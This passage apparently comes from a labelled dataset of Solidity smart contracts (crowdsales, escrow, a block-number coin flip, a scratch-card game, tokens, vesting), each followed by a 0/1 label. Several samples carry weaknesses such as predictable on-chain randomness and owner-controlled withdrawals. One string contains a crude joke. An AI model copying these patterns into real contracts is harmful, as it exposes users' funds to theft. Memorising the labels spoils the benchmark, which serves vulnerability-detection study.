SafeMath for uint256; event Deposited(address indexed payee, uint256 weiAmount); event Withdrawn(address indexed payee, uint256 weiAmount); mapping(address => uint256) private deposits; function depositsOf(address _payee) public view returns (uint256) { return deposits[_payee]; } function deposit(address _payee) public onlyOwner payable { uint256 amount = msg.value; deposits[_payee] = deposits[_payee].add(amount); emit Deposited(_payee, amount); } function withdraw(address _payee) public onlyOwner { uint256 payment = deposits[_payee]; assert(address(this).balance >= payment); deposits[_payee] = 0; _payee.transfer(payment); emit Withdrawn(_payee, payment); } } contract ConditionalEscrow is Escrow { function withdrawalAllowed(address _payee) public view returns (bool); function withdraw(address _payee) public { require(withdrawalAllowed(_payee)); super.withdraw(_payee); } } contract RefundEscrow is Ownable, ConditionalEscrow { enum State {Active, Refunding, Closed} event Closed(); event RefundsEnabled(); State public state; address public beneficiary; constructor(address _beneficiary) public { require(_beneficiary != address(0)); beneficiary = _beneficiary; state = State.Active; } function deposit(address _refundee) public payable { require(state == State.Active); super.deposit(_refundee); } function close() public onlyOwner { require(state == State.Active); state = State.Closed; emit Closed(); } function enableRefunds() public onlyOwner { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } function beneficiaryWithdraw() public { require(state == State.Closed); beneficiary.transfer(address(this).balance); } function withdrawalAllowed(address _payee) public view returns (bool) { return state == State.Refunding; } } contract Crowdsale { using SafeMath for uint256; using SafeERC20 for ERC20; ERC20 public token; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } function() external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { } function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.safeTransfer(_beneficiary, _tokenAmount); } function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } function _forwardFunds() internal { wallet.transfer(msg.value); } } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } function capReached() public view returns (bool) { return weiRaised >= cap; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(weiRaised.add(_weiAmount) <= cap); } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } constructor(uint256 _openingTime, uint256 _closingTime) public { require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract FinalizableCrowdsale is Ownable, TimedCrowdsale { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() public onlyOwner { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } function finalization() internal { } } contract RefundableCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; uint256 public goal; RefundEscrow private escrow; constructor(uint256 _goal) public { require(_goal > 0); escrow = new RefundEscrow(wallet); goal = _goal; } function claimRefund() public { require(isFinalized); require(!goalReached()); escrow.withdraw(msg.sender); } function goalReached() public view returns (bool) { return weiRaised >= goal; } function finalization() internal { if (goalReached()) { escrow.close(); escrow.beneficiaryWithdraw(); } else { escrow.enableRefunds(); } super.finalization(); } function _forwardFunds() internal { escrow.deposit.value(msg.value)(msg.sender); } } contract JavvyCrowdsale is RefundableCrowdsale, CappedCrowdsale, Pausable, Config { uint256 public icoStartTime; address public transminingAddress; address public bonusAddress; uint256 private USDETHRate; mapping(address => bool) public blacklisted; JavvyToken token; enum Stage { NotStarted, PreICO, ICO, AfterICO } function getStage() public view returns (Stage) { uint256 blockTime = block.timestamp; if (blockTime < openingTime) return Stage.NotStarted; if (blockTime < icoStartTime) return Stage.PreICO; if (blockTime < closingTime) return Stage.ICO; else return Stage.AfterICO; } constructor( uint256 _rate, JavvyMultiSig _wallet, JavvyToken _token, uint256 _cap, uint256 _goal, address _bonusAddress, address[] _blacklistAddresses, uint256 _USDETHRate ) Crowdsale(_rate, _wallet, _token) CappedCrowdsale(_cap) TimedCrowdsale(getStartPreIco(), getEndIco()) RefundableCrowdsale(_goal) public { require(getStartIco() > block.timestamp, "ICO has to begin in the future"); require(getEndIco() > block.timestamp, "ICO has to end in the future"); require(_goal <= _cap, "Soft cap should be equal or smaller than hard cap"); icoStartTime = getStartIco(); bonusAddress = _bonusAddress; token = _token; for (uint256 i = 0; i < _blacklistAddresses.length; i++) { blacklisted[_blacklistAddresses[i]] = true; } setUSDETHRate(_USDETHRate); weiRaised = 46461161522138564065713; } function buyTokens(address _beneficiary) public payable { require(!blacklisted[msg.sender], "Sender is blacklisted"); bool preallocated = false; uint256 preallocatedTokens = 0; _buyTokens( _beneficiary, msg.sender, msg.value, preallocated, preallocatedTokens ); } function bulkPreallocate(address[] _owners, uint256[] _tokens, uint256[] _paid) public onlyOwner() { require( _owners.length == _tokens.length, "Lengths of parameter lists have to be equal" ); require( _owners.length == _paid.length, "Lengths of parameter lists have to be equal" ); for (uint256 i = 0; i < _owners.length; i++) { preallocate(_owners[i], _tokens[i], _paid[i]); } } function preallocate(address _owner, uint256 _tokens, uint256 _paid) public onlyOwner() { require(!blacklisted[_owner], "Address where tokens will be sent is blacklisted"); bool preallocated = true; uint256 preallocatedTokens = _tokens; _buyTokens( _owner, _owner, _paid, preallocated, preallocatedTokens ); } function setTransminingAddress(address _transminingAddress) public onlyOwner() { transminingAddress = _transminingAddress; } function moveTokensToTransmining(uint256 _amount) public onlyOwner() { uint256 remainingTokens = token.getRemainingSaleTokens(); require( transminingAddress != address(0), "Transmining address must be set!" ); require( remainingTokens >= _amount, "Balance of remaining tokens for sale is smaller than requested amount for trans-mining" ); uint256 weiNeeded = cap - weiRaised; uint256 tokensNeeded = weiNeeded * rate; if (getStage() != Stage.AfterICO) { require(remainingTokens - _amount > tokensNeeded, "You need to leave enough tokens to reach hard cap"); } _deliverTokens(transminingAddress, _amount, this); } function _buyTokens( address _beneficiary, address _sender, uint256 _value, bool _preallocated, uint256 _tokens ) internal whenNotPaused() { uint256 tokens; if (!_preallocated) { require( _value >= minimalContributionAmount, "Amount contributed should be greater than required minimal contribution" ); require(_tokens == 0, "Not preallocated tokens should be zero"); _preValidatePurchase(_beneficiary, _value); } else { require(_tokens != 0, "Preallocated tokens should be greater than zero"); require(weiRaised.add(_value) <= cap, "Raised tokens should not exceed hard cap"); } if (!_preallocated) { tokens = _getTokenAmount(_value); } else { tokens = _tokens; } weiRaised = weiRaised.add(_value); _processPurchase(_beneficiary, tokens, this); emit TokenPurchase( _sender, _beneficiary, _value, tokens ); _updatePurchasingState(_beneficiary, _value); _forwardFunds(); if (!_preallocated) { _postValidatePurchase(_beneficiary, _value); } } function _getBaseTokens(uint256 _value) internal view returns (uint256) { return _value.mul(rate); } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 baseTokens = _getBaseTokens(_weiAmount); if (getStage() == Stage.PreICO) { return baseTokens.mul(100 + preIcoBonus).div(100); } else { return baseTokens; } } function _processPurchase( address _beneficiary, uint256 _tokenAmount, address _sourceAddress ) internal { _deliverTokens(_beneficiary, _tokenAmount, _sourceAddress); } function _deliverTokens( address _beneficiary, uint256 _tokenAmount, address _sourceAddress ) internal { if (_sourceAddress == address(this)) { token.transfer(_beneficiary, _tokenAmount); } else { token.transferFrom(_sourceAddress, _beneficiary, _tokenAmount); } } function finalization() internal { require( transminingAddress != address(0), "Transmining address must be set!" ); super.finalization(); _deliverTokens(transminingAddress, token.getRemainingSaleTokens(), this); } function setUSDETHRate(uint256 _USDETHRate) public onlyOwner() { require(_USDETHRate > 0, "USDETH rate should not be zero"); USDETHRate = _USDETHRate; cap = hardCapUSD.mul(USDETHRate); } }
1
5,147
pragma solidity ^0.4.24; contract CoinFlip { struct Bettor { address addr; bool choice; bool funded; } Bettor A; Bettor Z; uint betSize; constructor(address addrA, address addrZ, bool choiceA, bool choiceZ, uint _betSize) public payable { A.addr = addrA; Z.addr = addrZ; A.choice = choiceA; Z.choice = choiceZ; A.funded = false; Z.funded = false; betSize = _betSize; } function flip() public { require (A.funded && Z.funded); Bettor memory winner; bool result; if (block.number % 2 == 0) { result = true; } else { result = false; } if (A.choice == result) { winner = A; } else { winner = Z; } winner.addr.transfer(this.balance); } function () payable { require (msg.sender == A.addr || msg.sender == Z.addr); require (msg.value == betSize); if (msg.sender == A.addr) { A.funded = true; } else if (msg.sender == Z.addr) { Z.funded = true; } } }
1
4,891
pragma solidity ^0.4.16; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract JungleScratch is Owned { using SafeMath for uint; uint public LimitBottom = 0.02 ether; uint public LimitTop = 0.1 ether; address public Drawer; struct Game { bytes32 SecretKey_P; bool isPlay; bool isPay; uint Result; uint Time; address Buyer; uint value; } mapping (bytes32 => Game) public TicketPool; event SubmitTicket(bytes32 indexed SecretKey_D_hash, uint Bet_amount,bytes32 SecretKey_P, address Player); event Result(bytes32 SecretKey_D_hash, bytes32 SecretKey_D,address Buyer, uint[] Bird_Result, uint Game_Result, uint time); event Pay(bytes32 indexed SecretKey_D_hash, address indexed Buyer, uint Game_Result); event Owe(bytes32 indexed SecretKey_D_hash, address indexed Buyer, uint Game_Result); event OwePay(bytes32 indexed SecretKey_D_hash, address indexed Buyer, uint Game_Result); function JungleScratch (address drawer_) public { Drawer = drawer_; } function submit(bytes32 secretKey_P, bytes32 secretKey_D_hash) payable public { require(msg.value == 0.02 ether || msg.value == 0.04 ether || msg.value == 0.06 ether || msg.value == 0.08 ether || msg.value == 0.1 ether); require(TicketPool[secretKey_D_hash].Time == 0); require(msg.value >= LimitBottom && msg.value <= LimitTop); uint check = msg.value.div(20000000000000000); require(check == 1 || check == 2 || check == 3 || check == 4 || check == 5); SubmitTicket(secretKey_D_hash, msg.value, secretKey_P, msg.sender); TicketPool[secretKey_D_hash] = Game(secretKey_P,false,false,0,block.timestamp,msg.sender,msg.value); } function award(bytes32 secretKey_D) public { require(Drawer == msg.sender); bytes32 secretKey_D_hash = keccak256(secretKey_D); Game local_ = TicketPool[secretKey_D_hash]; require(local_.Time != 0 && !local_.isPlay); uint game_result = 0; uint[] memory RandomResult = new uint[](9); RandomResult[0] = uint(keccak256("Pig World is an AWESOME team",secretKey_D,'a',local_.SecretKey_P)) % 1000 + 1; RandomResult[1] = uint(keccak256(local_.SecretKey_P,"Every Game in our world is provably fair",secretKey_D,'b')) % 1000 + 1; RandomResult[2] = uint(keccak256('c',secretKey_D,"OMG it is a revolution dapp",local_.SecretKey_P)) % 1000 + 1; RandomResult[3] = uint(keccak256(secretKey_D,"hahahaha",local_.SecretKey_P,'d',"thanks for our team member and all player support.")) % 1000 + 1; RandomResult[4] = uint(keccak256("CC is our CEO",secretKey_D,"he can eat Betel nut",local_.SecretKey_P,'e')) % 1000 + 1; RandomResult[5] = uint(keccak256(20180612,"justin is our researcher",secretKey_D,"and he love little girl(at least 18, so it is ok)",local_.SecretKey_P,'f')) % 1000 + 1; RandomResult[6] = uint(keccak256("jeremy is our marketing",secretKey_D,'g',local_.SecretKey_P,"he is very humble and serious")) % 1000 + 1; RandomResult[7] = uint(keccak256('h',secretKey_D,"We are a geek team",local_.SecretKey_P,"we love blockchain")) % 1000 + 1; RandomResult[8] = uint(keccak256(secretKey_D,"hope you win a big prize",local_.SecretKey_P,"love you all!!!",'i')) % 1000 + 1; for (uint n = 0; n < 9; n++) { if(RandomResult[n]< 81){ RandomResult[n] = 0; } else if(RandomResult[n]< 168){ RandomResult[n] = 1; } else if(RandomResult[n]< 266){ RandomResult[n] = 2; } else if(RandomResult[n]< 381){ RandomResult[n] = 3; } else if(RandomResult[n]< 535){ RandomResult[n] = 4; } else if(RandomResult[n]< 749){ RandomResult[n] = 5; } else if(RandomResult[n]< 1001){ RandomResult[n] = 6; } } for(uint nn = 0; nn < 6; nn++){ uint count = 0; for(uint p = 0; p < 9; p++){ if(RandomResult[p] == nn) count ++; } if(count >= 3 && nn == 0) game_result = game_result.add(TicketPool[secretKey_D_hash].value.div(20000000000000000).mul(0.1 ether)); if(count >= 3 && nn == 1) game_result = game_result.add(TicketPool[secretKey_D_hash].value.div(20000000000000000).mul(0.08 ether)); if(count >= 3 && nn == 2) game_result = game_result.add(TicketPool[secretKey_D_hash].value.div(20000000000000000).mul(0.06 ether)); if(count >= 3 && nn == 3) game_result = game_result.add(TicketPool[secretKey_D_hash].value.div(20000000000000000).mul(0.04 ether)); if(count >= 3 && nn == 4) game_result = game_result.add(TicketPool[secretKey_D_hash].value.div(20000000000000000).mul(0.02 ether)); if(count >= 3 && nn == 5) game_result = game_result.add(TicketPool[secretKey_D_hash].value.div(20000000000000000).mul(0.01 ether)); } if(game_result != 0){ TicketPool[secretKey_D_hash].Result = game_result; if (address(this).balance >= game_result && TicketPool[secretKey_D_hash].Buyer.send(game_result)) { TicketPool[secretKey_D_hash].isPay = true; Pay(secretKey_D_hash,TicketPool[secretKey_D_hash].Buyer, game_result); } else { Owe(secretKey_D_hash, TicketPool[secretKey_D_hash].Buyer, game_result); TicketPool[secretKey_D_hash].isPay = false; } } else { TicketPool[secretKey_D_hash].isPay = true; } Result(secretKey_D_hash, secretKey_D, TicketPool[secretKey_D_hash].Buyer, RandomResult, game_result, block.timestamp); TicketPool[secretKey_D_hash].isPlay = true; } function () public payable { } function withdraw(uint withdrawEther_) public onlyOwner { msg.sender.transfer(withdrawEther_); } function changeLimit(uint _bottom, uint _top) public onlyOwner { LimitBottom = _bottom; LimitTop = _top; } function changeDrawer(address drawer_) public onlyOwner { Drawer = drawer_; } function getisPlay(bytes32 secretKey_D_hash) public constant returns (bool isplay){ return TicketPool[secretKey_D_hash].isPlay; } function getTicketTime(bytes32 secretKey_D_hash) public constant returns (uint Time){ return TicketPool[secretKey_D_hash].Time; } function chargeOwe(bytes32 secretKey_D_hash) public { require(!TicketPool[secretKey_D_hash].isPay); require(TicketPool[secretKey_D_hash].isPlay); require(TicketPool[secretKey_D_hash].Result != 0); if(address(this).balance >= TicketPool[secretKey_D_hash].Result){ if (TicketPool[secretKey_D_hash].Buyer.send(TicketPool[secretKey_D_hash].Result)) { TicketPool[secretKey_D_hash].isPay = true; OwePay(secretKey_D_hash, TicketPool[secretKey_D_hash].Buyer, TicketPool[secretKey_D_hash].Result); } } } }
1
2,693
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract BUGCoin { string public name = "BUGCoin"; string public symbol = "BUGC"; uint8 public decimals = 18; uint256 public totalSupply = 10000000000; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function BUGCoin( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }
1
3,060
pragma solidity 0.4.24; contract ERC20TokenInterface { function totalSupply () external constant returns (uint); function balanceOf (address tokenOwner) external constant returns (uint balance); function transfer (address to, uint tokens) external returns (bool success); function transferFrom (address from, address to, uint tokens) external returns (bool success); } library SafeMath { function mul (uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b); return c; } function div (uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub (uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add (uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); return c; } } contract DreamTokensVesting { using SafeMath for uint256; ERC20TokenInterface public dreamToken; address public withdrawAddress; struct VestingStage { uint256 date; uint256 tokensUnlockedPercentage; } VestingStage[5] public stages; uint256 public vestingStartTimestamp = 1529429400; uint256 public initialTokensBalance; uint256 public tokensSent; event Withdraw(uint256 amount, uint256 timestamp); modifier onlyWithdrawAddress () { require(msg.sender == withdrawAddress); _; } constructor (ERC20TokenInterface token, address withdraw) public { dreamToken = token; withdrawAddress = withdraw; initVestingStages(); } function () external { withdrawTokens(); } function getAvailableTokensToWithdraw () public view returns (uint256 tokensToSend) { uint256 tokensUnlockedPercentage = getTokensUnlockedPercentage(); if (tokensUnlockedPercentage >= 100) { tokensToSend = dreamToken.balanceOf(this); } else { tokensToSend = getTokensAmountAllowedToWithdraw(tokensUnlockedPercentage); } } function getStageAttributes (uint8 index) public view returns (uint256 date, uint256 tokensUnlockedPercentage) { return (stages[index].date, stages[index].tokensUnlockedPercentage); } function initVestingStages () internal { stages[0].date = vestingStartTimestamp; stages[1].date = vestingStartTimestamp + 1 hours; stages[2].date = vestingStartTimestamp + 13 hours + 30 minutes; stages[3].date = vestingStartTimestamp + 14 hours + 30 minutes; stages[4].date = vestingStartTimestamp + 15 hours + 30 minutes; stages[0].tokensUnlockedPercentage = 25; stages[1].tokensUnlockedPercentage = 50; stages[2].tokensUnlockedPercentage = 75; stages[3].tokensUnlockedPercentage = 88; stages[4].tokensUnlockedPercentage = 100; } function withdrawTokens () onlyWithdrawAddress private { if (initialTokensBalance == 0) { setInitialTokensBalance(); } uint256 tokensToSend = getAvailableTokensToWithdraw(); sendTokens(tokensToSend); } function setInitialTokensBalance () private { initialTokensBalance = dreamToken.balanceOf(this); } function sendTokens (uint256 tokensToSend) private { if (tokensToSend > 0) { tokensSent = tokensSent.add(tokensToSend); dreamToken.transfer(withdrawAddress, tokensToSend); emit Withdraw(tokensToSend, now); } } function getTokensAmountAllowedToWithdraw (uint256 tokensUnlockedPercentage) private view returns (uint256) { uint256 totalTokensAllowedToWithdraw = initialTokensBalance.mul(tokensUnlockedPercentage).div(100); uint256 unsentTokensAmount = totalTokensAllowedToWithdraw.sub(tokensSent); return unsentTokensAmount; } function getTokensUnlockedPercentage () private view returns (uint256) { uint256 allowedPercent; for (uint8 i = 0; i < stages.length; i++) { if (now >= stages[i].date) { allowedPercent = stages[i].tokensUnlockedPercentage; } } return allowedPercent; } } contract TeamsAndTournamentOrganizersVesting is DreamTokensVesting { constructor(ERC20TokenInterface token, address withdraw) DreamTokensVesting(token, withdraw) public {} }
0
1,597
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract AS is ERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) private allowed; uint256 private totalSupply_ = 110000000 * 10**8; string public constant name = "AmaStar"; string public constant symbol = "AS"; uint8 public constant decimals = 8; mapping (address => uint) lockupTime; mapping (address => uint) lockupAmount; bool private teamGotMoney = false; function lock(address _victim, uint _value, uint _periodSec) public onlyOwner { lockupAmount[_victim] = 0; lockupTime[_victim] = 0; lockupAmount[_victim] = _value; lockupTime[_victim] = block.timestamp.add(_periodSec); } function unlock(address _luckier) external onlyOwner { lockupAmount[_luckier] = 0; lockupTime[_luckier] = 0; } constructor() public { balances[msg.sender] = totalSupply_; } function transferAndLockToTeam(address _team1year, address _team6months, address _operations1year, address _operations9months, address _operations6months, address _operations3months) external onlyOwner { require(!teamGotMoney); teamGotMoney = true; transfer(_team1year, 10000000 * 10**8); transfer(_team6months, 6500000 * 10**8); lock(_team1year, 10000000 * 10**8, 365 * 1 days); lock(_team6months, 6500000 * 10**8, 182 * 1 days); transfer(_operations1year, 2750000 * 10**8); transfer(_operations9months, 2750000 * 10**8); transfer(_operations6months, 2750000 * 10**8); transfer(_operations3months, 2750000 * 10**8); lock(_operations1year, 2750000 * 10**8, 365 * 1 days); lock(_operations9months, 2750000 * 10**8, 273 * 1 days); lock(_operations6months, 2750000 * 10**8, 182 * 1 days); lock(_operations3months, 2750000 * 10**8, 91 * 1 days); } function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); if (lockupAmount[msg.sender] > 0) { if (block.timestamp <= lockupTime[msg.sender]) { require(balances[msg.sender].sub(lockupAmount[msg.sender]) >= _value); } } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); if (lockupAmount[_from] > 0) { if (now <= lockupTime[_from]) { require(balances[_from].sub(lockupAmount[_from]) >= _value); } } balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function _burn(address _account, uint256 _amount) internal { require(_account != 0); require(_amount <= balances[_account]); totalSupply_ = totalSupply_.sub(_amount); balances[_account] = balances[_account].sub(_amount); emit Transfer(_account, address(0), _amount); } function _burnFrom(address _account, uint256 _amount) internal { require(_amount <= allowed[_account][msg.sender]); allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount); _burn(_account, _amount); } } contract Crowdsale is Ownable { using SafeMath for uint256; address public multisig; AS public token; uint rate; uint rateInUsd; uint priceETH; uint indCap; event Purchased(address _buyer, uint _amount, string _type); function setIndCap(uint _indCapETH) public onlyOwner { indCap = _indCapETH; } function getIndCapInETH() public view returns(uint) { return indCap; } function setPriceETH(uint _newPriceETH) external onlyOwner { setRate(_newPriceETH); } function setRate(uint _priceETH) internal { require(_priceETH != 0); priceETH = _priceETH; rate = rateInUsd.mul(1 ether).div(100).div(_priceETH); } function getPriceETH() public view returns(uint) { return priceETH; } constructor() public { } function() external payable { } function finalizeICO(address _owner) external onlyOwner { require(_owner != address(0)); uint balance = token.balanceOf(this); token.transfer(_owner, balance); } function getMyBalanceAS() external view returns(uint256) { return token.balanceOf(msg.sender); } } contract whitelistICO is Crowdsale { uint periodWhitelist; uint startWhitelist; uint public bonuses1; mapping (address => bool) whitelist; function addToWhitelist(address _newMember) external onlyOwner { require(_newMember != address(0)); whitelist[_newMember] = true; } function removeFromWhitelist(address _member) external onlyOwner { require(_member != address(0)); whitelist[_member] = false; } function addListToWhitelist(address[] _addresses) external onlyOwner { for (uint i = 0; i < _addresses.length; i++) { whitelist[_addresses[i]] = true; } } function removeListFromWhitelist(address[] _addresses) external onlyOwner { for (uint i = 0; i < _addresses.length; i++) { whitelist[_addresses[i]] = false; } } constructor(address _AS, address _multisig, uint _priceETH, uint _startWhiteListUNIX, uint _periodWhitelistSEC, uint _indCap) public { require(_AS != 0 && _priceETH != 0); token = AS(_AS); multisig = _multisig; bonuses1 = 50; startWhitelist = _startWhiteListUNIX; periodWhitelist = _periodWhitelistSEC; rateInUsd = 10; setRate(_priceETH); setIndCap(_indCap); } function extendPeriod(uint _days) external onlyOwner { periodWhitelist = periodWhitelist.add(_days.mul(1 days)); } function() external payable { buyTokens(); } function buyTokens() public payable { require(block.timestamp > startWhitelist && block.timestamp < startWhitelist.add(periodWhitelist)); if (indCap > 0) { require(msg.value <= indCap.mul(1 ether)); } require(whitelist[msg.sender]); uint256 totalAmount = msg.value.mul(10**8).div(rate).add(msg.value.mul(10**8).mul(bonuses1).div(100).div(rate)); uint256 balance = token.balanceOf(this); if (totalAmount > balance) { uint256 cash = balance.mul(rate).mul(100).div(100 + bonuses1).div(10**8); uint256 cashBack = msg.value.sub(cash); multisig.transfer(cash); msg.sender.transfer(cashBack); token.transfer(msg.sender, balance); emit Purchased(msg.sender, balance, "WhiteList"); return; } multisig.transfer(msg.value); token.transfer(msg.sender, totalAmount); emit Purchased(msg.sender, totalAmount, "WhiteList"); } } contract preICO is Crowdsale { uint public bonuses2; uint startPreIco; uint periodPreIco; constructor(address _AS, address _multisig, uint _priceETH, uint _startPreIcoUNIX, uint _periodPreIcoSEC, uint _indCap) public { require(_AS != 0 && _priceETH != 0); token = AS(_AS); multisig = _multisig; bonuses2 = 20; startPreIco = _startPreIcoUNIX; periodPreIco = _periodPreIcoSEC; rateInUsd = 10; setRate(_priceETH); setIndCap(_indCap); } function extendPeriod(uint _days) external onlyOwner { periodPreIco = periodPreIco.add(_days.mul(1 days)); } function() external payable { buyTokens(); } function buyTokens() public payable { require(block.timestamp > startPreIco && block.timestamp < startPreIco.add(periodPreIco)); if (indCap > 0) { require(msg.value <= indCap.mul(1 ether)); } uint256 totalAmount = msg.value.mul(10**8).div(rate).add(msg.value.mul(10**8).mul(bonuses2).div(100).div(rate)); uint256 balance = token.balanceOf(this); if (totalAmount > balance) { uint256 cash = balance.mul(rate).mul(100).div(100 + bonuses2).div(10**8); uint256 cashBack = msg.value.sub(cash); multisig.transfer(cash); 